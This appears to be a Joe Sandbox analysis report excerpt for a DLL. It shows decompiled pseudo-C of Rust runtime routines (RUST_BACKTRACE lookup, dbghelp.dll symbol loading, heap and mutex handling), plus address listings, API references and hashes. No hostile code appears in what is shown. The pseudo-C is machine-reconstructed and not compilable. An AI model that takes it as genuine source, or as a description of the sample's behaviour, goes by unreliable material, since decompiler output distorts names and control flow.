IsProcessorFeaturePresent.KERNEL32(00000017,6E571E1B,?,?,?,?,00000000,?,00000000,?,?,6E574EAE,?,=MWn,00000000,?), ref: 6E571C3F

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: e47262017d797e7187a5423b607dae9c5ef7b7919aaa394cd2555aa24c3c17be
Instruction ID: b2dcd3db903e727de8431c9356c8134bb8451c227308f93570d50afb1dcf59b1
Opcode Fuzzy Hash: e47262017d797e7187a5423b607dae9c5ef7b7919aaa394cd2555aa24c3c17be
Instruction Fuzzy Hash: 14E0C2B138431B21FE3526E00F3BBB92ACD0B81B0CF140818AB18AC0C2EF8488768122

Uniqueness

Uniqueness Score: -1.00%

Function 6E57228A, Relevance: 1.5, APIs: 1, Instructions: 9
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(?,?,6E570ED2,00000000,6E5AB1B8,0000000C,6E570E99,?,?,6E572C59,?,?,6E57283F,00000001,00000364,?), ref: 6E572299

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: da5f4da6ea7da6eb32c822d4614fc06f2078281db2d46e758a81c3f17a5abd0c
Instruction ID: 1f185ffd28058f1e917a27f09e99ebdefbab92fefe677304552c67790c1ac7c2
Opcode Fuzzy Hash: da5f4da6ea7da6eb32c822d4614fc06f2078281db2d46e758a81c3f17a5abd0c
Instruction Fuzzy Hash: 71B02B72000208538F005588DC4D8853BCC81C01123440410F00C87011CD30D3604194

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6E55D380, Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 445
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E6E55D380(signed int __ebx, long* __ecx, signed int __edi, long __esi, char _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				long _v40;
				void* _v44;
				void* _v48;
				long _v52;
				signed int _v56;
				void* _v60;
				signed int _v64;
				signed int _v68;
				void* _v72;
				long* _v76;
				signed int _v80;
				signed int _v1096;
				long _v1100;
				void* _v1104;
				void* __ebp;
				void* _t142;
				void* _t143;
				void* _t148;
				signed int _t149;
				intOrPtr _t151;
				void* _t155;
				void* _t157;
				signed int _t158;
				signed int _t160;
				void** _t161;
				void* _t167;
				long _t171;
				signed int _t172;
				long _t173;
				void* _t179;
				void* _t181;
				long _t194;
				signed int _t195;
				signed char _t196;
				signed int _t199;
				signed int _t200;
				signed int _t211;
				signed int _t213;
				signed int _t214;
				void* _t218;
				intOrPtr _t220;
				signed int _t223;
				intOrPtr* _t224;
				intOrPtr _t226;
				signed int _t228;
				char* _t229;
				signed int _t230;
				signed int _t232;
				signed int _t238;
				signed int _t241;
				signed int _t242;
				WCHAR* _t247;
				long _t248;
				signed int _t249;
				signed int _t252;
				char* _t264;
				void* _t265;
				void* _t267;
				void* _t268;
				signed char* _t273;
				signed int _t274;
				void* _t280;
				intOrPtr _t281;

				_t262 = __esi;
				_t245 = __edi;
				_t192 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t281 = _t280 - 0x440;
				_v32 = _t281;
				_v20 = 0xffffffff;
				_v24 = E6E5639D0;
				_v76 = __ecx;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t142 =  *0x6e5ae128; // 0xe70000
				if(_t142 != 0) {
					L3:
					_t143 = HeapAlloc(_t142, 0, 0xa);
					if(_t143 == 0) {
						goto L94;
					} else {
						_t264 = "UST_BACKTRACE";
						_t241 = 1;
						_t211 = 0;
						 *_t143 = 0x52;
						_v1104 = _t143;
						_v1100 = 5;
						_v1096 = 1;
						_v44 = 0;
						while(1) {
							_v36 = _t211;
							if(_t211 == 0) {
								goto L10;
							}
							_v44 = 0;
							_t211 = 0;
							if(_t241 != _v1100) {
								L6:
								_t245 = _v36;
								 *((short*)(_t143 + _t241 * 2)) = _v36;
								_t241 = _t241 + 1;
								_v1096 = _t241;
								continue;
							} else {
								L13:
								_v40 = _t264;
								_v20 = 0;
								_v48 = _t241;
								_t188 =  <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11;
								_t189 = ( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2;
								asm("sbb eax, 0x0");
								_t190 = (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2;
								E6E579A30( &_v1104, _t241, (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2);
								_t281 = _t281 + 4;
								_t143 = _v1104;
								_t241 = _v48;
								_t264 = _v40;
								_t211 = _v44;
								goto L6;
							}
							L10:
							__eflags = _t264 - 0x6e59face;
							if(_t264 != 0x6e59face) {
								_t196 =  *_t264 & 0x000000ff;
								_t229 =  &(_t264[1]);
								_t249 = _t196 & 0x000000ff;
								__eflags = _t196;
								if(_t196 < 0) {
									_v36 = _t249 & 0x0000001f;
									__eflags = _t229 - 0x6e59face;
									if(_t229 == 0x6e59face) {
										_t230 = 0;
										__eflags = _t196 - 0xdf;
										_t252 = 0;
										_v40 = 0x6e59face;
										if(_t196 > 0xdf) {
											goto L25;
										} else {
											_v36 = _v36 << 6;
											_t264 = 0x6e59face;
											_t211 = 0;
											__eflags = _t241 - _v1100;
											if(_t241 != _v1100) {
												goto L6;
											} else {
												goto L13;
											}
										}
									} else {
										_t238 = _t264[1] & 0x000000ff;
										_t264 =  &(_t264[2]);
										_t230 = _t238 & 0x0000003f;
										__eflags = _t196 - 0xdf;
										if(_t196 <= 0xdf) {
											_t199 = _v36 << 0x00000006 | _t230;
											__eflags = _t199 - 0xffff;
											if(_t199 > 0xffff) {
												goto L32;
											} else {
												goto L22;
											}
										} else {
											__eflags = _t264 - 0x6e59face;
											if(_t264 == 0x6e59face) {
												_t252 = 0;
												__eflags = 0;
												_v40 = 0x6e59face;
											} else {
												_v40 =  &(_t264[1]);
												_t252 =  *_t264 & 0x3f;
											}
											L25:
											_t232 = _t230 << 0x00000006 | _t252;
											__eflags = _t196 - 0xf0;
											if(_t196 < 0xf0) {
												_t199 = _v36 << 0x0000000c | _t232;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 > 0xffff) {
													goto L32;
												} else {
													goto L22;
												}
											} else {
												_t273 = _v40;
												__eflags = _t273 - 0x6e59face;
												if(_t273 == 0x6e59face) {
													_t274 = 0;
													__eflags = 0;
													_v40 = 0x6e59face;
												} else {
													_v40 =  &(_t273[1]);
													_t274 =  *_t273 & 0x3f;
												}
												_t199 = _t232 << 0x00000006 | (_v36 & 0x00000007) << 0x00000012 | _t274;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 <= 0xffff) {
													L22:
													_v36 = _t199;
													_t211 = 0;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												} else {
													L32:
													_t200 = _t199 + 0xffff0000;
													_v40 = _t264;
													_v36 = _t200 >> 0x0000000a | 0x0000d800;
													_t264 = _v40;
													_t211 = _t200 & 0x000003ff | 0x0000dc00;
													_v44 = _t211;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												}
											}
										}
									}
								} else {
									_t264 = _t229;
									_v36 = _t249;
									_t211 = 0;
									__eflags = _t241 - _v1100;
									if(_t241 != _v1100) {
										goto L6;
									} else {
										goto L13;
									}
								}
								goto L96;
							}
							_t242 = _v1096;
							asm("movsd xmm0, [ebp-0x44c]");
							_v64 = _t242;
							asm("movsd [ebp-0x44], xmm0");
							__eflags = _t242 - 8;
							_t213 = _t242;
							_t148 = _v72;
							_t265 = _t148;
							if(_t242 < 8) {
								L45:
								_t214 = _t213 + _t213;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									__eflags = _t214;
									if(_t214 == 0) {
										break;
									}
									_t214 = _t214 + 0xfffffffe;
									__eflags =  *_t265;
									_t265 = _t265 + 2;
									if(__eflags != 0) {
										continue;
									} else {
										goto L48;
									}
									goto L96;
								}
								__eflags = _t242 - _v68;
								if(_t242 == _v68) {
									_v20 = 1;
									E6E579A30( &_v72, _t242, 1);
									_t281 = _t281 + 4;
									_t148 = _v72;
									_t242 = _v64;
								}
								 *((short*)(_t148 + _t242 * 2)) = 0;
								asm("movsd xmm0, [ebp-0x44]");
								asm("movsd [ebp-0x38], xmm0");
								_t149 = _v60;
								__eflags = _t149;
								_v36 = _t149;
								if(_t149 == 0) {
									goto L75;
								} else {
									_v80 = _v56;
									E6E56E9D0(_t245,  &_v1104, 0, 0x400);
									_t281 = _t281 + 0xc;
									_t155 =  *0x6e59f8cc; // 0x2
									_t194 = 0x200;
									_t262 = 0;
									_v60 = _t155;
									_v56 = 0;
									_v48 = _t155;
									_v52 = 0;
									__eflags = 0x200 - 0x201;
									if(0x200 >= 0x201) {
										L65:
										_t157 = _t194 - _t262;
										__eflags = _v56 - _t262 - _t157;
										if(_v56 - _t262 < _t157) {
											_v44 = _t194;
											_v20 = 5;
											E6E579A30( &_v60, _t262, _t157);
											_t281 = _t281 + 4;
											_t194 = _v44;
											_v48 = _v60;
										}
										_t247 = _v48;
										_t262 = _t194;
										_v52 = _t194;
										_v40 = _t194;
									} else {
										L68:
										_t247 =  &_v1104;
										_v40 = 0x200;
									}
									L69:
									_v44 = _t247;
									SetLastError(0);
									_t158 = GetEnvironmentVariableW(_v36, _t247, _t194);
									_t245 = _t158;
									__eflags = _t158;
									if(_t158 != 0) {
										L71:
										__eflags = _t245 - _t194;
										if(_t245 != _t194) {
											L63:
											__eflags = _t245 - _t194;
											_t192 = _t245;
											if(_t245 < _t194) {
												_t239 = _v40;
												_v20 = 5;
												__eflags = _t245 - _v40;
												if(__eflags > 0) {
													goto L95;
												} else {
													_push(_t245);
													E6E560D10(_t192,  &_v72, _v44, _t245, _t262);
													_t281 = _t281 + 4;
													_t218 = _v72;
													_t248 = _v68;
													_t262 = _v64;
													_t195 = 0;
													_t160 = _v56;
													__eflags = _t160;
													if(_t160 != 0) {
														goto L81;
													} else {
													}
													goto L84;
												}
											} else {
												__eflags = _t192 - 0x201;
												if(_t192 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										} else {
											_t171 = GetLastError();
											__eflags = _t171 - 0x7a;
											if(_t171 != 0x7a) {
												goto L63;
											} else {
												_t194 = _t194 + _t194;
												__eflags = _t194 - 0x201;
												if(_t194 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										}
									} else {
										_t172 = GetLastError();
										__eflags = _t172;
										if(_t172 != 0) {
											_t195 = 1;
											_t173 = GetLastError();
											_t218 = 0;
											_t248 = _t173;
											_t160 = _v56;
											__eflags = _t160;
											if(_t160 != 0) {
												L81:
												__eflags = _v48;
												if(_v48 != 0) {
													__eflags = _t160 & 0x7fffffff;
													if((_t160 & 0x7fffffff) != 0) {
														_v44 = _t218;
														HeapFree( *0x6e5ae128, 0, _v48);
														_t218 = _v44;
													}
												}
											}
											L84:
											__eflags = _t195;
											if(_t195 == 0) {
												_t161 = _v76;
												 *_t161 = _t218;
												_t161[1] = _t248;
												_t161[2] = _t262;
											} else {
												__eflags = _t218 - 3;
												 *_v76 = 0;
												if(_t218 == 3) {
													_v20 = 4;
													_v44 = _t248;
													 *((intOrPtr*)( *((intOrPtr*)(_t248 + 4))))( *_t248);
													_t281 = _t281 + 4;
													_t267 = _v44;
													_t220 =  *((intOrPtr*)(_t267 + 4));
													__eflags =  *(_t220 + 4);
													if( *(_t220 + 4) != 0) {
														_t167 =  *_t267;
														__eflags =  *((intOrPtr*)(_t220 + 8)) - 9;
														if( *((intOrPtr*)(_t220 + 8)) >= 9) {
															_t167 =  *(_t167 - 4);
														}
														HeapFree( *0x6e5ae128, 0, _t167);
													}
													HeapFree( *0x6e5ae128, 0, _t267);
												}
											}
											__eflags = _v80 & 0x7fffffff;
											if((_v80 & 0x7fffffff) != 0) {
												HeapFree( *0x6e5ae128, 0, _v36);
											}
											goto L76;
										} else {
											goto L71;
										}
									}
								}
							} else {
								_t228 = _t242;
								_t268 = _t148;
								while(1) {
									__eflags =  *_t268;
									if( *_t268 == 0) {
										break;
									}
									__eflags =  *((short*)(_t268 + 2));
									if( *((short*)(_t268 + 2)) == 0) {
										break;
									} else {
										__eflags =  *((short*)(_t268 + 4));
										if( *((short*)(_t268 + 4)) == 0) {
											break;
										} else {
											__eflags =  *((short*)(_t268 + 6));
											if( *((short*)(_t268 + 6)) == 0) {
												break;
											} else {
												__eflags =  *((short*)(_t268 + 8));
												if( *((short*)(_t268 + 8)) == 0) {
													break;
												} else {
													__eflags =  *((short*)(_t268 + 0xa));
													if( *((short*)(_t268 + 0xa)) == 0) {
														break;
													} else {
														__eflags =  *((short*)(_t268 + 0xc));
														if( *((short*)(_t268 + 0xc)) == 0) {
															break;
														} else {
															__eflags =  *((short*)(_t268 + 0xe));
															if( *((short*)(_t268 + 0xe)) == 0) {
																break;
															} else {
																_t228 = _t228 + 0xfffffff8;
																_t268 = _t268 + 0x10;
																__eflags = _t228 - 7;
																if(_t228 > 7) {
																	continue;
																} else {
																	goto L45;
																}
															}
														}
													}
												}
											}
										}
									}
									goto L96;
								}
								L48:
								_t223 = _v68;
								_v56 = 0x6e5a06d8;
								_v60 = 0x1402;
								__eflags = _t223;
								if(_t223 != 0) {
									__eflags = _t148;
									if(_t148 != 0) {
										__eflags = _t223 & 0x7fffffff;
										if((_t223 & 0x7fffffff) != 0) {
											HeapFree( *0x6e5ae128, 0, _t148);
										}
									}
								}
								__eflags = _v60 - 3;
								if(_v60 == 3) {
									_t224 = _v56;
									_v36 = _t224;
									_t70 = _t224 + 4; // 0x2c
									_v20 = 2;
									 *((intOrPtr*)( *_t70))( *_t224);
									_t281 = _t281 + 4;
									_t179 = _v36;
									_t226 =  *((intOrPtr*)(_t179 + 4));
									__eflags =  *(_t226 + 4);
									if( *(_t226 + 4) != 0) {
										_t181 =  *_t179;
										__eflags =  *((intOrPtr*)(_t226 + 8)) - 9;
										if( *((intOrPtr*)(_t226 + 8)) >= 9) {
											_t181 =  *(_t181 - 4);
										}
										HeapFree( *0x6e5ae128, 0, _t181);
										_t179 = _v56;
									}
									HeapFree( *0x6e5ae128, 0, _t179);
								}
								L75:
								 *_v76 = 0;
								L76:
								_t151 = _v28;
								 *[fs:0x0] = _t151;
								return _t151;
							}
							goto L96;
						}
					}
				} else {
					_t142 = GetProcessHeap();
					if(_t142 == 0) {
						L94:
						_t239 = 2;
						E6E5792F0(_t192, 0xa, 2, _t245, _t262, __eflags);
						asm("ud2");
						L95:
						E6E579470(_t192, _t245, _t239, _t245, _t262, __eflags, 0x6e5a06e0);
						asm("ud2");
						__eflags =  &_a8;
						E6E5548D0( *_v44,  *((intOrPtr*)(_v44 + 4)));
						return E6E55D270(_t263);
					} else {
						 *0x6e5ae128 = _t142;
						goto L3;
					}
				}
				L96:
			}

0x6e55d380
0x6e55d380
0x6e55d380
0x6e55d383
0x6e55d384
0x6e55d385
0x6e55d386
0x6e55d38c
0x6e55d38f
0x6e55d396
0x6e55d39d
0x6e55d3aa
0x6e55d3ad
0x6e55d3b3
0x6e55d3ba
0x6e55d3ce
0x6e55d3d3
0x6e55d3da
0x00000000
0x6e55d3e0
0x6e55d3e0
0x6e55d3e6
0x6e55d3eb
0x6e55d3ed
0x6e55d3f2
0x6e55d3f8
0x6e55d402
0x6e55d40c
0x6e55d43d
0x6e55d440
0x6e55d443
0x00000000
0x00000000
0x6e55d445
0x6e55d44c
0x6e55d454
0x6e55d42f
0x6e55d42f
0x6e55d432
0x6e55d436
0x6e55d437
0x00000000
0x6e55d456
0x6e55d48a
0x6e55d494
0x6e55d497
0x6e55d49e
0x6e55d4a9
0x6e55d4b2
0x6e55d4ba
0x6e55d4bd
0x6e55d4c1
0x6e55d4c6
0x6e55d420
0x6e55d426
0x6e55d429
0x6e55d42c
0x00000000
0x6e55d42c
0x6e55d460
0x6e55d466
0x6e55d468
0x6e55d46e
0x6e55d471
0x6e55d474
0x6e55d477
0x6e55d479
0x6e55d4d1
0x6e55d4da
0x6e55d4dc
0x6e55d503
0x6e55d50b
0x6e55d50e
0x6e55d513
0x6e55d516
0x00000000
0x6e55d518
0x6e55d518
0x6e55d51c
0x6e55d522
0x6e55d524
0x6e55d52a
0x00000000
0x6e55d530
0x00000000
0x6e55d530
0x6e55d52a
0x6e55d4de
0x6e55d4de
0x6e55d4e2
0x6e55d4e5
0x6e55d4e8
0x6e55d4eb
0x6e55d53b
0x6e55d53d
0x6e55d543
0x00000000
0x00000000
0x00000000
0x00000000
0x6e55d4ed
0x6e55d4f3
0x6e55d4f5
0x6e55d565
0x6e55d565
0x6e55d567
0x6e55d4f7
0x6e55d4fb
0x6e55d4fe
0x6e55d4fe
0x6e55d56a
0x6e55d56d
0x6e55d56f
0x6e55d572
0x6e55d595
0x6e55d597
0x6e55d59a
0x6e55d5a0
0x00000000
0x6e55d5a2
0x00000000
0x6e55d5a2
0x6e55d574
0x6e55d574
0x6e55d57d
0x6e55d57f
0x6e55d5aa
0x6e55d5aa
0x6e55d5ac
0x6e55d581
0x6e55d587
0x6e55d58a
0x6e55d58a
0x6e55d5bf
0x6e55d5c1
0x6e55d5c4
0x6e55d5ca
0x6e55d549
0x6e55d549
0x6e55d54c
0x6e55d54e
0x6e55d554
0x00000000
0x6e55d55a
0x00000000
0x6e55d55a
0x6e55d5d0
0x6e55d5d0
0x6e55d5d0
0x6e55d5d6
0x6e55d5f0
0x6e55d5f3
0x6e55d5f6
0x6e55d5f8
0x6e55d5fb
0x6e55d601
0x00000000
0x6e55d607
0x00000000
0x6e55d607
0x6e55d601
0x6e55d5ca
0x6e55d572
0x6e55d4eb
0x6e55d47b
0x6e55d47b
0x6e55d47d
0x6e55d480
0x6e55d482
0x6e55d488
0x00000000
0x00000000
0x00000000
0x00000000
0x6e55d488
0x00000000
0x6e55d479
0x6e55d60c
0x6e55d612
0x6e55d61a
0x6e55d61d
0x6e55d622
0x6e55d625
0x6e55d627
0x6e55d62a
0x6e55d62c
0x6e55d674
0x6e55d674
0x6e55d676
0x6e55d680
0x6e55d680
0x6e55d682
0x00000000
0x00000000
0x6e55d688
0x6e55d68b
0x6e55d68f
0x6e55d692
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e55d692
0x6e55d720
0x6e55d723
0x6e55d725
0x6e55d731
0x6e55d736
0x6e55d739
0x6e55d73c
0x6e55d73c
0x6e55d73f
0x6e55d745
0x6e55d74a
0x6e55d74f
0x6e55d752
0x6e55d754
0x6e55d757
0x00000000
0x6e55d75d
0x6e55d760
0x6e55d771
0x6e55d776
0x6e55d779
0x6e55d77e
0x6e55d783
0x6e55d785
0x6e55d788
0x6e55d78f
0x6e55d792
0x6e55d799
0x6e55d79f
0x6e55d7c2
0x6e55d7c7
0x6e55d7cb
0x6e55d7cd
0x6e55d7cf
0x6e55d7d2
0x6e55d7df
0x6e55d7e4
0x6e55d7ea
0x6e55d7ed
0x6e55d7ed
0x6e55d7f0
0x6e55d7f3
0x6e55d7f5
0x6e55d7f8
0x6e55d7a1
0x6e55d800
0x6e55d800
0x6e55d806
0x6e55d806
0x6e55d80d
0x6e55d80d
0x6e55d812
0x6e55d81d
0x6e55d823
0x6e55d825
0x6e55d827
0x6e55d833
0x6e55d833
0x6e55d835
0x6e55d7b0
0x6e55d7b0
0x6e55d7b2
0x6e55d7b4
0x6e55d876
0x6e55d879
0x6e55d880
0x6e55d882
0x00000000
0x6e55d888
0x6e55d88e
0x6e55d88f
0x6e55d894
0x6e55d897
0x6e55d89a
0x6e55d89d
0x6e55d8a0
0x6e55d8a2
0x6e55d8a5
0x6e55d8a7
0x00000000
0x00000000
0x6e55d8a9
0x00000000
0x6e55d8a7
0x6e55d7ba
0x6e55d7ba
0x6e55d7c0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e55d7c0
0x6e55d83b
0x6e55d83b
0x6e55d841
0x6e55d844
0x00000000
0x6e55d84a
0x6e55d84a
0x6e55d84c
0x6e55d852
0x00000000
0x6e55d854
0x00000000
0x6e55d854
0x00000000
0x6e55d852
0x6e55d844
0x6e55d829
0x6e55d829
0x6e55d82f
0x6e55d831
0x6e55d8ab
0x6e55d8ad
0x6e55d8b3
0x6e55d8b5
0x6e55d8b7
0x6e55d8ba
0x6e55d8bc
0x6e55d8be
0x6e55d8be
0x6e55d8c2
0x6e55d8c4
0x6e55d8c9
0x6e55d8d6
0x6e55d8d9
0x6e55d8de
0x6e55d8de
0x6e55d8c9
0x6e55d8c2
0x6e55d8e1
0x6e55d8e1
0x6e55d8e3
0x6e55d93d
0x6e55d940
0x6e55d942
0x6e55d945
0x6e55d8e5
0x6e55d8e8
0x6e55d8eb
0x6e55d8f1
0x6e55d8f8
0x6e55d900
0x6e55d903
0x6e55d905
0x6e55d908
0x6e55d90b
0x6e55d90e
0x6e55d912
0x6e55d914
0x6e55d916
0x6e55d91a
0x6e55d91c
0x6e55d91c
0x6e55d928
0x6e55d928
0x6e55d936
0x6e55d936
0x6e55d8f1
0x6e55d948
0x6e55d94f
0x6e55d960
0x6e55d960
0x00000000
0x00000000
0x00000000
0x00000000
0x6e55d831
0x6e55d827
0x6e55d62e
0x6e55d62e
0x6e55d630
0x6e55d632
0x6e55d632
0x6e55d636
0x00000000
0x00000000
0x6e55d638
0x6e55d63d
0x00000000
0x6e55d63f
0x6e55d63f
0x6e55d644
0x00000000
0x6e55d646
0x6e55d646
0x6e55d64b
0x00000000
0x6e55d64d
0x6e55d64d
0x6e55d652
0x00000000
0x6e55d654
0x6e55d654
0x6e55d659
0x00000000
0x6e55d65b
0x6e55d65b
0x6e55d660
0x00000000
0x6e55d662
0x6e55d662
0x6e55d667
0x00000000
0x6e55d669
0x6e55d669
0x6e55d66c
0x6e55d66f
0x6e55d672
0x00000000
0x00000000
0x00000000
0x00000000
0x6e55d672
0x6e55d667
0x6e55d660
0x6e55d659
0x6e55d652
0x6e55d64b
0x6e55d644
0x00000000
0x6e55d63d
0x6e55d694
0x6e55d694
0x6e55d697
0x6e55d69e
0x6e55d6a5
0x6e55d6a7
0x6e55d6a9
0x6e55d6ab
0x6e55d6ad
0x6e55d6b3
0x6e55d6be
0x6e55d6be
0x6e55d6b3
0x6e55d6ab
0x6e55d6c3
0x6e55d6c7
0x6e55d6cd
0x6e55d6d2
0x6e55d6d5
0x6e55d6d8
0x6e55d6e0
0x6e55d6e2
0x6e55d6e5
0x6e55d6e8
0x6e55d6eb
0x6e55d6ef
0x6e55d6f1
0x6e55d6f3
0x6e55d6f7
0x6e55d6f9
0x6e55d6f9
0x6e55d705
0x6e55d70a
0x6e55d70a
0x6e55d716
0x6e55d716
0x6e55d859
0x6e55d85c
0x6e55d862
0x6e55d862
0x6e55d865
0x6e55d875
0x6e55d875
0x00000000
0x6e55d62c
0x6e55d43d
0x6e55d3bc
0x6e55d3bc
0x6e55d3c3
0x6e55d96a
0x6e55d96f
0x6e55d974
0x6e55d979
0x6e55d97b
0x6e55d982
0x6e55d98a
0x6e55d994
0x6e55d99f
0x6e55d9af
0x6e55d3c9
0x6e55d3c9
0x00000000
0x6e55d3c9
0x6e55d3c3
0x00000000

APIs

GetProcessHeap.KERNEL32 ref: 6E55D3BC
HeapAlloc.KERNEL32(00E70000,00000000,0000000A), ref: 6E55D3D3

Strings

RUST_BACKTRACE, xrefs: 6E55D48A, 6E55D4C0

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: Heap$AllocProcess
String ID: RUST_BACKTRACE
API String ID: 1617791916-3454309823
Opcode ID: 02f831c1d14fa3bbac6c64e8e0da4688b44c4a33ac70099894686c773b7c7ff0
Instruction ID: 63d0c6c1397407011e310c793644c55b54d9a5c8142f88bc2e29699bd685bbfa
Opcode Fuzzy Hash: 02f831c1d14fa3bbac6c64e8e0da4688b44c4a33ac70099894686c773b7c7ff0
Instruction Fuzzy Hash: 3F029AB2E002198BDF10CF98C8907EEB7F1BB89314F15452AE519BB390DB71A991CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6E55E4E0, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 135
libraryloadersynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6E55E4E0(void* __ebx, void* __edi, void* __esi, char _a8) {
				int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebp;
				void* _t15;
				struct HINSTANCE__* _t20;
				signed int _t21;
				void* _t23;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t30;
				void* _t35;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t39;
				signed int _t50;
				_Unknown_base(*)()* _t52;
				void* _t59;

				_t48 = __edi;
				_push(__edi);
				_v32 = _t59 - 0x14;
				_v20 = 0xffffffff;
				_v24 = E6E5639F0;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t35 =  *0x6e5ae124; // 0x0
				if(_t35 == 0) {
					_t15 = CreateMutexA(0, 0, "Local\\RustBacktraceMutex");
					__eflags = _t15;
					if(_t15 == 0) {
						_t54 = 1;
						goto L19;
					} else {
						_t35 = _t15;
						__eflags = 0;
						asm("lock cmpxchg [0x6e5ae124], ebx");
						if(0 != 0) {
							CloseHandle(_t35);
							_t35 = 0;
						}
						goto L1;
					}
				} else {
					L1:
					WaitForSingleObjectEx(_t35, 0xffffffff, 0);
					_t20 =  *0x6e5ae130; // 0x0
					if(_t20 != 0) {
						L3:
						_t54 = 0;
						if( *0x6e5ae164 != 0) {
							goto L19;
						} else {
							_t38 =  *0x6e5ae134; // 0x0
							if(_t38 != 0) {
								L7:
								_t21 =  *_t38();
								_t39 =  *0x6e5ae138; // 0x0
								_t50 = _t21;
								if(_t39 != 0) {
									L10:
									 *_t39(_t50 | 0x00000004);
									_t52 =  *0x6e5ae13c; // 0x0
									if(_t52 != 0) {
										L13:
										_t23 = GetCurrentProcess();
										 *_t52(_t23, 0, 1);
										 *0x6e5ae164 = 1;
										goto L19;
									} else {
										_t25 = GetProcAddress( *0x6e5ae130, "SymInitializeW");
										if(_t25 == 0) {
											_v36 = _t35;
											_v20 = 0;
											E6E5794E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t52, _t54, __eflags, 0x6e5a04bc);
											goto L23;
										} else {
											_t52 = _t25;
											 *0x6e5ae13c = _t25;
											goto L13;
										}
									}
								} else {
									_t28 = GetProcAddress( *0x6e5ae130, "SymSetOptions");
									if(_t28 == 0) {
										_v36 = _t35;
										_v20 = 0;
										E6E5794E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t50, _t54, __eflags, 0x6e5a04ac);
										goto L23;
									} else {
										_t39 = _t28;
										 *0x6e5ae138 = _t28;
										goto L10;
									}
								}
							} else {
								_t30 = GetProcAddress(_t20, "SymGetOptions");
								if(_t30 == 0) {
									_v36 = _t35;
									_v20 = 0;
									E6E5794E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t48, 0, __eflags, 0x6e5a049c);
									L23:
									asm("ud2");
									__eflags =  &_a8;
									return E6E55E6D0(_v36);
								} else {
									_t38 = _t30;
									 *0x6e5ae134 = _t30;
									goto L7;
								}
							}
						}
					} else {
						_t20 = LoadLibraryA("dbghelp.dll");
						 *0x6e5ae130 = _t20;
						if(_t20 == 0) {
							ReleaseMutex(_t35);
							_t54 = 1;
							L19:
							 *[fs:0x0] = _v28;
							return _t54;
						} else {
							goto L3;
						}
					}
				}
			}

0x6e55e4e0
0x6e55e4e4
0x6e55e4e9
0x6e55e4ec
0x6e55e4f3
0x6e55e504
0x6e55e507
0x6e55e50d
0x6e55e515
